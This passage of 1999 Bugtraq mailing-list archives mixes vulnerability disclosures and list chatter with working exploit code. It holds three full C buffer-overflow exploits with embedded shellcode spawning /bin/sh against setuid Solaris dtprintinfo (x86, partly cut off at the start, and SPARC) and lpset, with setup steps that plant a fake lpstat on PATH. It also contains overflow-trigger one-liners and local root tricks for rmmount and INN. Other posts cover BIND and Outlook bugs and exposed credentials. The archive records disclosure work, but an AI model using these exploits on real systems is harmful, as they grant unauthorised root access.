"\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33"
"\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88"
"\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f"
"\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46"
"\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01"
"\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/sh";

unsigned long get_sp(void)
{
  __asm__(" movl %esp,%eax ");
}
main()
{
        putenv("LANG=");
        for (i=0;i<BUFSIZE;i++) x[i]=NOP;
        for (i=0;i<strlen(exploit_code);i++)
                x[STARTADR+i]=exploit_code[i];
        ret_adr=get_sp() - 1292 + 148;
        for (i = ADJUST; i < 400 ; i+=4){
                x[i+0]=ret_adr & 0xff;
                x[i+1]=(ret_adr >> 8 ) &0xff;
                x[i+2]=(ret_adr >> 16 ) &0xff;
                x[i+3]=(ret_adr >> 24 ) &0xff;
        }
        x[BUFSIZE]=0;
        execl("/usr/dt/bin/dtprintinfo", "dtprintinfo",
        "-p",x,(char *) 0);
}


____________________________________________________________________
Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: [linux-security] OpenLinux 2.2: LISA install leaves root

Re: [linux-security] OpenLinux 2.2: LISA install leaves root

Ralf Flaxa (rfcaldera.de)
Sun, 9 May 1999 15:15:09 +0200

Hi Andrew,

We are currently checking whether this is a FTP version only
phenomena or not.

In any case we will make new (old style) LISA images available
this afternoon (MET). Watch for the 138 images. I'll post a
follow-up to this mail when they are available.

Note that *only* the LISA (old style) install is affected.
The lizard (new style, graphical) install is not affected.

To avoid confusion - old style images carry 1xx numbers,
new style images carry 2xx numbers.

If you had to use the old style images, the quick fix
is to remove (after installation) the lines starting with
"help" from /etc/passwd and /etc/shadow.

Until later

	Ralf

On Sat, May 08, 1999 at 11:46:40PM -0400, Andrew McRory wrote:
>
> Hello,
>
> I believe I've found a bug in the installation process of OpenLinux 2.2
> when using the LISA boot disk. During the installation a temporary passwd
> file is put on the new file system containing the user "help" set uid=0
> gid=0 and no password. Once you are prompted to set the root password and
> default user password a new passwd and shadow file is created yet the help
> user is left in the shadow file with, you guessed it, no password... Here
> are the offending entries:
>
> /etc/passwd
>         help:x:0:0:install help user:/:/bin/bash
>
> /etc/shadow
>         help::10709:0:365:7:7::
>
> Anyone who installed OpenLinux 2.2 using the LISA boot disk should check
> their password file now ;-)
>
> I found this using a cdrom I made from a mirror of the mirror at
> ftp.tux.org. Just to make sure I wasn't mixed up I redownloaded the
> install.144 file from ftp.calderasystems.com and tried again. Same thing.
> The install disk is version 137 dated 26Mar99 (displayed on the boot
> message).
>
> I wrote Caldera a message late in the day Friday regarding this bug but
> haven't heard back from anyone. I've tried to resist posting this until I
> hear back but I really feel people should know now!!
>
> PS: I'm not sure if Lizard, the graphical installation method, has this
> problem. It crashes before it does much here.... that's why I tried LISA.
>
> Thanks,
>
>
>
> Andrew McRory - amacclinuxsys.com ***********************************
> Linux Systems Engineers / The PC Doctors                             *
> 3009-C West Tharpe Street - Tallahassee, FL 32303                    *
> Voice 850.575.7213 ***************************************************
>
> --
> ----------------------------------------------------------------------
> Please refer to the information about this list as well as general
> information about Linux security at http://www.aoy.com/Linux/Security.
> ----------------------------------------------------------------------
>
> To unsubscribe:
>   mail -s unsubscribe linux-security-requestredhat.com < /dev/null

--
      _____     ___
     /  __/____/  /                Caldera (Deutschland) GmbH
    /  /_/ __  / /__             Lazarettstr. 8, 91054 Erlangen
   /_____//_/ /____/       Dipl. Inf. Ralf Flaxa, email: rfcaldera.de
  ==== /_____/ ======    phone: ++49 9131 8978-23, fax: ++49 9131 8978-22
   Caldera OpenLinux  PGP: 6D 02 48 48 87 9C 6A 9C  30 A8 4D 15 AC CA 96 10

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: [Solaris2.6,2.7 dtprintinfo exploits]

Re: [Solaris2.6,2.7 dtprintinfo exploits]

UNYUNShadowPenguin ("UNYUNShadowPenguin")
Mon, 10 May 1999 13:15:36 JST

Sorry, I forgot to to write the following things...

Before execution of dtprintinfo exploit, please make a dummy
lpstat command.

for example,

% cat > lpstat
echo "system for lpprn: server.com"
^D
% chmod 755 lpstat
% setenv PATH .:$PATH
% gcc ex_dtprintinfo.c
% a.out


Following exploit program is for Sparc Solaris.
I tested on Solaris2.6.

/*========================================================================
   ex_dtprintinfo.c Overflow Exploits( for Sparc Edition)
   The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
   Written by UNYUN (unewn4thusa.net)
 =========================================================================
*/
#define ADJUST      0
#define OFFSET      1144
#define STARTADR    724
#define BUFSIZE     900
#define NOP 0xa61cc013
static char   x[1000];
unsigned long ret_adr;
int i;
char exploit_code[] =
"\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
main()
{
    putenv("LANG=");
    for (i = 0; i < ADJUST; i++) x[i]=0x11;
    for (i = ADJUST; i < 900; i+=4){
        x[i+3]=NOP & 0xff;
        x[i+2]=(NOP >> 8 ) &0xff;
        x[i+1]=(NOP >> 16 ) &0xff;
        x[i+0]=(NOP >> 24 ) &0xff;
    }
    for (i=0;i<strlen(exploit_code);i++) x[STARTADR+i+ADJUST]=exploit_code[i];
    ret_adr=get_sp()-OFFSET;
    printf("jumping address : %lx\n",ret_adr);
    if ((ret_adr & 0xff) ==0 ){
        ret_adr -=16;
        printf("New jumping address : %lx\n",ret_adr);
    }
    for (i = ADJUST; i < 600 ; i+=4){
        x[i+3]=ret_adr & 0xff;
        x[i+2]=(ret_adr >> 8 ) &0xff;
        x[i+1]=(ret_adr >> 16 ) &0xff;
        x[i+0]=(ret_adr >> 24 ) &0xff;
    }
    x[BUFSIZE]=0;
    execl("/usr/dt/bin/dtprintinfo", "dtprintinfo", "-p",x,(char *) 0);
}


The Shadow Penguin Security
(http://base.oc.to/skyscraper/byte/551)
UNYUN (unewn4thusa.net)


____________________________________________________________________
Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: SunOS 5.7 rmmount, no nosuid.

SunOS 5.7 rmmount, no nosuid.

Jonas Stahre (yesALLEVIL.CAMPUS.LUTH.SE)
Mon, 10 May 1999 09:14:12 +0200

The man-page for rmmount under SunOS 5.7 says:

     File systems mounted by rmmount  are always mounted with the
     nosuid  flag  set,  thereby  disabling  set-uid programs and
     access to block or character devices in  that  file  system.

...this is unfortunately wrong.

All you have to do to get root-privileges is to insert a floppy/cdrom with
a setuid shell and a volcheck and an evil grin later you have a root
prompt.

There is a workaround that fix the problem, just add these lines to your
/etc/rmmount.conf:

mount hsfs -o nosuid
mount ufs -o nosuid

(I've also heard that using a SunOS 5.6 rmmount binary would fix the
problem, but I haven't tried it myself.)

I have only tested this on Ultra5 with floppies on SunOS 5.7, but I am
pretty sure it works on all SunOS 5.7 machines (with floppy and/or cdrom).

  /Jonas Stahre

PS.  Yes, I've talked to Sun about this some time ago. So I have gone
     through the proper channels.
PPS. My signature says "/bin/sh" NOT "/bin/bash", ok?

#!/bin/sh -- # set i=echo;set I='u[Cu[Cu[C';set l="tr u \033";$L       .-.
clear;cat $0;cat $0|sed '/D/d;s/L.*$/l/;s/.*# //;s/1/;71H/g'|csh -f;[   V   ]
# while 2;$i "u[31/$I\u[21 $I "|$l;$i "u[31 $I u[21_${I}_"|$L         (( ))
# end;$i "u[31 $I u[21\$I/"|$l;$i "u[21_${I}_"|$L  -yesludd.luth.se-  ^ ^

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Adminisrivia

Adminisrivia

Aleph One (aleph1UNDERGROUND.ORG)
Mon, 10 May 1999 08:46:48 -0700

The SANS Institute (http://www.sans.org/) has graciously given Bugtraq
a plaque during the SANS conference now happening at Baltimore for being
one of the three most valuable security publications. This is in response
to a survey the did at an earlier conference. I'd like to thank SANS
for the gesture. Although I accepted the plaque it is really for all of
you. Cheers.

--
Aleph One / aleph1underground.org
http://underground.org/
KeyID 1024/948FD6B5
Fingerprint EE C9 E8 AA CB AF 09 61  8C 39 EA 47 A8 6A B8 01

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Adminisrivia

Re: Adminisrivia

Brian Fisk (bfisknetspace.org)
Mon, 10 May 1999 12:52:22 -0400

I would also like to thank the SANS Institute on behalf of NetSpace, as
they also donated a sizable chunk of money for a mail server upgrade as
part of the same award. This donation, combined with other donations from
the Bugtraq community in the past allowed us to double (or potentially
even more) our mail delivery capacity for this list as well as all the
others that NetSpace serves. Thanks to everyone here who makes this list
what it is.

Brian Fisk
NetSpace Administrator

On Mon, 10 May 1999, Aleph One wrote:

> The SANS Institute (http://www.sans.org/) has graciously given Bugtraq
> a plaque during the SANS conference now happening at Baltimore for being
> one of the three most valuable security publications. This is in response
> to a survey the did at an earlier conference. I'd like to thank SANS
> for the gesture. Although I accepted the plaque it is really for all of
> you. Cheers.
>
> --
> Aleph One / aleph1underground.org
> http://underground.org/
> KeyID 1024/948FD6B5
> Fingerprint EE C9 E8 AA CB AF 09 61  8C 39 EA 47 A8 6A B8 01
>

--
Brian Fisk                                                bfisknetspace.org

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: ICQ Password Revealer

ICQ Password Revealer

Dmitri Alperovitch (dmitriENCRSOFT.COM)
Mon, 10 May 1999 09:29:01 -0400

Hi.

A few weeks ago, it was posted that ICQ99 stores the password
used to access the ICQ network in plain-text in the .DAT files.
We have written a program that demonstrates this by parsing
these .DAT files for password and showing it to the user.
It can be downloaded at http://www.encrsoft.com/products.html#icqpass

Note: The option to save password can be turned off in ICQ's
Security & Privacy settings.

Yours truly,


Dmitri Alperovitch
Encryption Software - Developers of TSM for ICQ, an ICQ encryption add-on
http://www.encrsoft.com
dmitriencrsoft.com

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: [BIND-BUGS #18] Non-delegated master domains

[BIND-BUGS #18] Non-delegated master domains

Ian Carr-de Avelon (ianEMIT.PL)
Mon, 10 May 1999 11:21:17 +0200

Dear Aleph,
	I'll leave it to your discresion as to whether this should go
public. For me this is simply a problem relating to adding MX records
with 192.168.xx.xx addresses to internal name servers. Some people may
assume that if they rely on DNS data for their own domains, they are
only relying on the intergrety of their own servers. With BIND 8 this
appears not to be true. If somone can change the delegation of a domain,
or make a new domain like EMIT. or 168.192.IN-ADDR.ARPA., bind 8 will
accept the data pointed to via route servers etc. in place of local
master files.
	While searching for some kind of "option to get the old behaviour"
I found a report about this in the BIND-USERS archive of 2 months ago,
but it appears to have been seen as someone who could not configure the
program properly. I have just emailed Patrick Volkerding as I happen to
have taken this bind from his distribution. The question is the old one
of whether bad-people can use this knowledge better than their potential
victims. There is no exploit here to get you control of a route server
in the fist place, but there is no quick  fix either. Backing off this
version probably means back to something with greater vulnerabilities.
Replacing names with IPs in every context would be a pain. If nothing
else, producing a fake 168.192.IN-ADDR.ARPA. would be a DOS attack
against thousands of internal services as tcpds would refuse connections.
Yours
Ian

>
>This appears to be due to an email which I sent to Paul Vixie and Cricket
>Liu about what I took to be an intentional change in behaviour. One or
>other of them must have decided this is a bug. In which case I should
>probably add that the bind I have found this with is BIND-8.1.2-REL
>taken from the Slackware 3.6.0 distribution.
>The bug is that domains which have valid delegations within the DNS
>system can not be overriden with local master files. IE. If I make
>a master file for microsoft.com, www.microsoft.com remains with the
>IP microsoft give it and not what I give it. Domains which are
>delegated to me eg EMIT.PL. a or domains which have no delegation
>anywhere eg. EMIT. work as expected.
>Yours
>Ian
>
>bind-bugsisc.org wrote>
>>Greetings.  (This is an automated response.  There is no need to reply.)
>>
>>Your message regarding:
>>   Non-delegated master domains
>>has been received and assigned a request number of 18.
>>
>>In order help us track the progress of this request, we ask that you
>>include the string [BIND-BUGS #18]  in the subject line of any further mail
>>about this particular request.
>>For example:
>>    Subject: [BIND-BUGS #18] Non-delegated master domains
>>
>>You may do this simply by replying to this email.
>>

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Solaris2.6,2.7 dtprintinfo exploits

Re: Solaris2.6,2.7 dtprintinfo exploits

Lamont Granquist (lamontgRAVEN.GENOME.WASHINGTON.EDU)
Mon, 10 May 1999 13:13:29 -0700

Digital Unix 4.0 through 4.0D w/BL11 (aka patch kit 3) does not appear to
be vulnerable to this problem.  Tested with:

% cat > lpstat
echo "system for lpprn: server.com"
^D
% chmod 755 lpstat
% setenv PATH .:$PATH
% /usr/dt/bin/dtprintinfo -p `perl -e '{ print "A" x 10000 }'`

On Mon, 10 May 1999, UNYUNShadowPenguin wrote:
> "dtprintinfo" is suid program, the stack buffer can be overflowed by '-p'
> option. I made an exploit program that can get root for Intel edition of
> Solaris2.6 and Solaris 2.7.



--
Lamont Granquist                       lamontggenome.washington.edu
Dept. of Molecular Biotechnology       (206)616-5735  fax: (206)685-7344
Box 352145 / University of Washington / Seattle, WA 98195
PGP pubkey: finger lamontgraven.genome.washington.edu | pgp -fka

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Bookmarks security vulnerabilities in both Internet Explorer

Re: Bookmarks security vulnerabilities in both Internet Explorer

Russ (Russ.CooperRC.ON.CA)
Mon, 10 May 1999 17:19:54 -0400

I am unable to reproduce this on IE 5.0 with SP5. I get an error message
stating "Cannot find server or DNS error" after following Georgi's
instructions using TEST.TXT.

Even pasting the entire script in the address box fails to reproduce his
described effects.

Cheers,
Russ - NTBugtraq moderator

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: INN 2.0 and higher. Root compromise potential

INN 2.0 and higher. Root compromise potential

Forrest J. Cavalier III (mibsoftmibsoftware.com)
Tue, 11 May 1999 11:24:06 -0400

Copyright 1999 Forrest J. Cavalier III, Mib Software
This information is provided by Mib Software, www.mibsoftware.com.
This notice can be distributed without limitation.

Summary:
--------
   INN is open source NNTP (Usenet) server software from the Internet
   Software Consortium. http://www.isc.org/

   In some cases, there is potential for the local news user,
   or any local user, to execute arbitrary code as root.

   The two vulnerabilities reported below have already been
   discussed in the Usenet newsgroup news.software.nntp.
   Therefore, the vendor is being sent this notice now, and
   was not notified previously.

   INN is communications software. Mib Software knows of
   no buffer overrun exploits of the affected versions of
   INN, but the possibility cannot be ruled out.  This would
   be the only way a root compromise using a remote connection
   would be possible.

Background:
-----------
   Since NNTP defines a privileged port (119), a SUID root
   wrapper, inndstart, binds to the port, and then is
   intended to drop root privileges, setting the UID to user
   news before exec() innd.  In some cases, this behavior
   can be altered to gain privileges.

------------------------------------------------------------
Vulnerability 1 (pathrun should not be trusted information)
------------------------------------------------------------
Summary: It is possible for the news user to control the behavior
   of the inndstart program so that root privileges are not
   dropped, and execute arbitrary programs as root.

Versions affected: INN 2.0 and higher.
Versions not affected: INN 1.7.2 and lower.

Details: inndstart determines the target UID and GID from
   the UID and GID of a directory which is normally owned
   by user news, group news.  The directory which is checked
   can be changed be editing the "pathrun" parameter
   in the inn.conf configuration file.

   By specifying a directory with appropriate ownership, inndstart
   can exec() running as any user, including root.

   During the course of normal operation, innd forks() and executes
   many child processes, and it is relatively simple to run arbitrary code
   from innd.

Solution: modify the source file innd/inndstart.c to use a
   hard coded pathrun, instead of the structure member
   innconf->pathrun.

Workaround: There is no workaround.  The source must be modified.

------------------------------------------------------------------
Vulnerability 2 (inndstart should be protected,
                 INNCONF environment variable should not be trusted.)
------------------------------------------------------------------
Versions affected: INN 2.x after July 9, 1998 (including INN 2.1
     and higher.)
Versions not affected: INN 1.7.2 and lower.

Details: Normally, the SUID root program inndstart, should be
   in a directory accessible only by user news.  In some
   installations, this program is accessible to all local users.

   On July 9, 1998 a source code change was introduced which
   obtains the path of the configuration file from the environment
   variable INNCONF.  In those installations with inndstart
   accessible to local users, a local user can set INNCONF in the
   environment and determine the behavior of inndstart
   so that abitrary programs are executed.

   If the pathrun vulnerability above is fixed, these programs run as
   user news, if not fixed, they run as user root.

Solution: Install inndstart in a directory with 0700 permissions
   owned by user news.

-------------------------------------------------------------------
Forrest J. Cavalier III, Mib Software, INN customization and consulting
'Pay-as-you-go' commercial support for INN: Only $64/hour!
Searchable hypertext INN docs, FAQ, RFCs, etc: 650+ pages.
   http://www.mibsoftware.com/innsup.htm

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Solaris2.6 and 2.7 lpset overflow

Solaris2.6 and 2.7 lpset overflow

UNYUNShadowPenguinSecurity ("UNYUNShadowPenguinSecurity")
Tue, 11 May 1999 17:50:47 +0900

lpset which is installed in Solaris2.6 and Solaris7 has overflow bug,
I wrote an exploit program to obtain root privilege.
The following exploit program is for Solaris2.6 and Solaris7 of
Intel edition. There is same vulnerabillity in Sparc edition.

/*===================================================================
   ex_lpset.c Overflow Exploits( for Intel Edition )
   The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
   Written by UNYUN (unewn4thusa.net)
 =====================================================================
*/
#define OFFSET      0x3b88
#define STARTADR    700
#define ENDADR      1200
#define EX_STADR    8000
#define BUFSIZE     22000
#define NOP 0x90

unsigned long ret_adr;
int i,adjust;

char exploit_code[] =
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff\x55"

"\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33\xc0"
"\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e"
"\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3"
"\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46\x08"
"\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01\xe8"
"\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/sh";

unsigned long get_sp(void)
{
  __asm__(" movl %esp,%eax ");
}

static char   x[BUFSIZE];

main(int argc, char **argv)
{
        memset(x,NOP,18000);
        ret_adr=get_sp()-OFFSET;
        printf("0 : x86 Solaris2.6 J\n1 : ?\n2 : ?\n3 : x86 Solaris 7 J\n");
        printf("Input (0-3) : "); scanf("%d",&adjust);
        printf("Jumping Address = 0x%lx\n",ret_adr);
        for (i = adjust+STARTADR; i<ENDADR ; i+=4){
                x[i+2]=ret_adr & 0xff;
                x[i+3]=(ret_adr >> 8 ) &0xff;
                x[i+0]=(ret_adr >> 16 ) &0xff;
                x[i+1]=(ret_adr >> 24 ) &0xff;
        }
        for (i=0;i<strlen(exploit_code);i++)
                x[i+EX_STADR]=exploit_code[i];
        x[5000]='=';
        x[18000]=0;
        execl("/usr/bin/lpset","lpset","-n","xfn","-a",x,"lpcol1",(char *) 0);
}


---
The Shadow Penguin Security : http://base.oc.to/skyscraper/byte/551
Webmaster : UNYUN (unewn4thusa.net)

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: TTL problems with Bind

TTL problems with Bind

Chris Brenton (cbrentonsover.net)
Tue, 11 May 1999 18:54:38 -0400

I recently ran into a problem with Bind that can allow an old ISP to
effect connectivity on a domain after that domain has moved to another
service provider. I'm hoping this post will keep others from ending up
in the same boat I did recently. I bounced this off the bind-users group
and it has been labeled as a "bug" which will be fixed in the next
release (8.2.1). The best way to describe the problem is through an
example:

The domain fubar.com has a current ISP (old-isp.net) who they are
unhappy with, and decides to move to a new service provider

fubar.com changes all IP addressing per the new ISP (new-isp.net)

fubar.com submits a name server change to the InterNIC (Network
Solutions) changing their name servers from ns1.old-isp.net &
ns2.old-isp.net to ns1.new-isp.net and ns2.new-isp.net.

The InterNIC ACKs the change and claims it is complete

A check of the whois database confirms that the fubar.com name servers
are listed as being ns1.new-isp.net and ns2.new-isp.net.

A check of the root name servers (via nslookup) confirms that
ns1.new-isp.net and ns2.new-isp.net are being handed out by the root
name servers

Now, one would expect that when the TTL's handed out by the old ISP have
expired, all Internet based systems would learn about the move via the
InterNIC and start using the new name servers. In other words, if the
old ISP set a TTL of 3 days for all records, one would expect that after
3 days all DNS servers on the Internet would query the root servers and
learn the location of the new name servers.

In fact this is not the case. If subsequent lookups have been performed
by third party name servers (i.e. all name servers outside of the
domains old-isp.net and new-isp.net), Bind refreshes the TTL for the old
name server if it continues to claim authority. Bind skips the root name
server check and goes directly back to the name server which gave it the
information last time. This means that if it takes weeks for the old ISP
to delete the zone info, it can be weeks before third party name servers
are forced back up to the root name servers to see that the
authoritative name servers have changed.

The result is a pretty effective denial of service. If the old ISP
considers removing zone info files to be very low on the priority scale,
or even worse if they are vindictive about the client changing ISP's,
all they need to do is leave the old zone files in place in order to
effect connectivity by continuing to hand out the old IP addresses
information. Bind systems will continue to return to the old ISP's name
servers when ever the TTL expires for any A record queries, instead of
finding out from the root name servers that the authority for the domain
has been moved. Of course since we are talking about a cache issue, the
remote domains most likely to be effected are the ones that communicate
with this domain on a regular basis (vendors, customers, etc.).

As mentioned, the functionality of Bind 8.2.1 will be changed so that it
does not refresh name server TTL's in the same fashion. This will force
remote name servers back up to the root servers in order to verify
authority.

I've also confirmed that this vulnerability exists in the 4.9.x port of
Bind to NT. Not sure about Microsoft DNS as I do not have a system/time
to test it. Microsoft Proxy II exhibits this problem however so my guess
would be it exists in MS DNS as well.

Unfortunately, this is one of those problem where you need to rely on
the rest of the world upgrading their systems before the problem is
resolved (since it effects remote name servers). With this in mind the
only short term fix is to get control of your name servers prior to a
move, or make sure they are hosted by a "trusted" party. This is the
only way to insure that the old zone files are deleted once the InterNIC
records have been updated, thus forcing remote name servers to learn
that the authoritative servers have changed. If you have a specific name
server that you know has old information, you can always clear it with a
restart.

Cheers,
Chris
--
**************************************
cbrentonsover.net

* Multiprotocol Network Design & Troubleshooting
http://www.amazon.com/exec/obidos/ASIN/0782120822/geekspeaknet
* Mastering Network Security
http://www.amazon.com/exec/obidos/ASIN/0782123430/geekspeaknet

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: SunOS 5.6 (X86) lpset vulnerability

SunOS 5.6 (X86) lpset vulnerability

kim yong-jun homepage=ce.hannam.ac.kr/~s96192 (bugscanKOSNET.NET)
Tue, 11 May 1999 11:43:46 +0900

This is my second post to ButTraq.
If  this is old, I'm sorry.


It's buffer overflow in "/usr/bin/lpset".

View this command :
[loveyou/] % /usr/bin/lpset -a key=`perl  -e 'print "x" x 1006'` loveyou

[loveyou/] % /usr/bin/lpset -a key=`perl  -e 'print "x" x 1007'` loveyou
Segmentation fault

:)

byebye..

>-------------------------------------------------------------<
  Loveyou's World
  Yong-Jun , Kim ( bugscankosnet.net )					
  Network Engineer
>-------------------------------------------------------------<

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Outlook Express Win98 bug

Outlook Express Win98 bug

Miquel van Smoorenburg (miquelsCISTRON.NL)
Tue, 11 May 1999 10:58:41 +0200

There is a bug in Outlook Express delivered with Windows '98, at least
version 4.72.3110.1 (4.01 SP1) and 4.72.3120.0 (4.01 SP1 + oepatsp1)

Windows '95 updated with MSIE 4.01 has Outlook Express 4.72.3612.1700,
which doesn't show the problem. OE from MSIE3 and MSIE5 don't have the
problem either. There might be versions of MSIE4 included with Windows
'98 that don't show the problem either, but I don't have a stack of
Windows CDs to test against.

We have talked to Microsoft NL about this, tracking number S2134 T6142.
However they either deny there is a bug ("sorry sir, this product has
been available for a year now so there cannot be any bugs in it") or
they do not understand what we are talking about. They also claim to
have not received any mail we sent to them, so I am giving up on that.
We did send them this bug report by fax, perhaps that technology is
stable enough to work for them, I don't know.

Description of the problem:

A dot on a single line means EOM in the POP3 protocol. If a message
contains that it must be escaped by adding an extra dot, so we have 2
dots on a single line - which is OK. However if on the TCP level the
line after this double-dot crosses over to the next packet, Outlook
Express will interpret the double-dot as a single dot, switching back to
POP3 command mode and interpreting the rest of the message as a response
from the POP3 server. Result is an error message and usually a hanging
POP3 session.

Perhaps it's not really a bug in Outlook, but the Windows I/O library
or the TCP implementation.. which is scary.

So at the TCP packet level it looks like this:

packet1: [message data]
packet1: \r\n..\r\nthis is a line that
packet2: continues in the next packet

The double-dot on the 2nd line will be interpreted as a single dot.

Include a few thousand lines like this in an email and the bug will trigger:

So
.
this
.
might
.
actually
.
cause
.
the
.
bug
.
with
.
some
.
luck
.
repeat
.
until
.
three
.
times
.
max
.
mtu
.
of
.
1500


Mike.
--
Indifference will certainly be the downfall of mankind, but who cares?

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Sun Microsystems Leaks extensive Amounts of Information About Its

Sun Microsystems Leaks extensive Amounts of Information About Its

Robson, Ken (RobsonKEBRD.COM)
Tue, 11 May 1999 19:22:59 +0100

Hi Folks,

I have just been scouring Sun's Bug Reports for some information and I
discovered that you can easily trawl for useful information about both Sun
and its clients.  Information exposed includes:-

*	Copies of /etc/passwd (i.e. user names)
*	Copies of /etc/shadow (i.e. encrypted passwords)
*	Configuration of network services (i.e. inetd.conf)

It is trivial to put together searches that glean this for some of their
customers.  Whilst the contract services restrictions are in place for
accessing these accounts, logins must be in wide circulation.  I know 3 or 4
accounts from various past employers myself.

When logging a support call I do not often consider what might happen to the
call notes.  I am sure that Sun are not the only company doing this and this
is not aimed at Sun in particular, they are just an example.  Serious
consideration should be given to what information you are prepared to pass
to those who support you - do you trust the rest of their customers (at
best) or the entire internet (at worst).

Anyway not earth shattering but food for thought.

Regards,

Ken.

PS - Please do not interpret the domain that this mail comes from as any
indication that I work for the European Bank for Reconstruction &
Development.  I in fact contract to Hewlett Packard and am simply based at
the bank - all the opinions expressed above are my own and have nothing to
do with either of these organisations.

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: [ALERT] Site Server 3.0 May Expose SQL IDs and PSWs

[ALERT] Site Server 3.0 May Expose SQL IDs and PSWs

Mark (markNTSHOP.NET)
Tue, 11 May 1999 16:27:38 -0600

====================================================
Site Server's AdSamples Directory Reveals ID and PSW
           Discovered by Andrey Kruchkov
====================================================

VERSIONS EFFECTED

* Tested on Microsoft Site Server 3.0 Commerce Edition

DESCRIPTION

Site Server allows the installation of an AdSamples directory, which serves
to demonstrate the capabilities of the Ad Server component. If this
directory is installed and left open to the public without limiting
directory permissions, a user can obtain a site configuration file
(SITE.CSC) that contains sensitive information pertaining to an SQL
database. This information could contain a DSN, as well as a a username and
password used by the Ad Server to access the SQL server database.

COMMENTS

Andrey reported this problem to NTSECURITY.NET and has informed Microsoft of
this issue.

Andrey points out an easy way to eliminate this risk:

Remove the "AdSamples" virtual directory from the DEFAULT root Web site, or
change security permissions for this folder to sufficiently restrict access.
If you must provide loose access to this virtual directory for some strange
reason, then you should at least adjust the security permissions for the
SITE.CSC file so that it's not available for viewing. Also keep in mind that
there may be numerous  other SITE.CSC files under your Site Server
installation, all of which need to be secured.

For a URL that demonstrates the problem, please visit
http://www.ntsecurity.net/scripts/loader.asp?iD=/security/siteserver-2.htm

This is probably a great time to remind people once again to NEVER install
sample content on production servers and to NEVER use the built-in IIS
DEFAULT Web site without first thoroughly investigating the implications of
doing so.

Thanks,
Mark - http://www.ntsecurity.net

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Windump for Windows

Windump for Windows

Edward Gibbs (edIPRG.NOKIA.COM)
Tue, 11 May 1999 13:28:37 -0700

FYI...

TCPdump is a network capture program developed by Network Research Group
(NRG) of the Information and Computing Sciences Division (ICSD) at Lawrence
Berkeley National Laboratory (LBNL) in Berkeley, California.

Originally available only on UNIX platform, this is the porting on Windows
(95/98, NT 4.0). It consists in an executable (the windump main program)
with a network capture driver: both are specific for each platform.

To download and install WinDump see:

http://netgroup-serv.polito.it/tools/analyzer/Install/windump/

Edward Gibbs, ediprg.nokia.com
Systems Engineer, Security Specialist
Nokia IP - http://www.iprg.nokia.com/
232 Java Drive, Sunnyvale, CA 94089 USA
Direct: 1-408-990-2187
Cellular: 1-408-504-4276
Fax: 1-408-743-5675

perl -e 'print $i=pack(c5,(41*2),sqrt(7056),(unpack(c,H)-2),oct(115),10);'

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: DoS with Netware 4.x's TTS

DoS with Netware 4.x's TTS

Simple Nomad (thegnomeNMRC.ORG)
Wed, 12 May 1999 14:18:59 -0500

_______________________________________________________________________________

                          Nomad Mobile Research Centre
                                 A D V I S O R Y
                                  www.nmrc.org
                        Simple Nomad [thegnomenmrc.org]
                                   12May1998
_______________________________________________________________________________

                              Platform : Netware 4.x
                           Application : NDS
                              Severity : High


Synopsis
--------

It is possible to overflow the Transaction Tracking System (TTS) built into
Novell Netware and possibly crash multiple servers.

Tested configuration
--------------------

The testing was done with the following configuration:

Netware 4.11, Service Pack 5B

Also confirmed on Netware 4.1. All systems had 64MB RAM and 1 GB drive space.

Bug(s) report
-------------

The Transaction Tracking System (TTS) is used by Novell Netware to help
preserve the integrity of data during a system crash. If a transaction is in
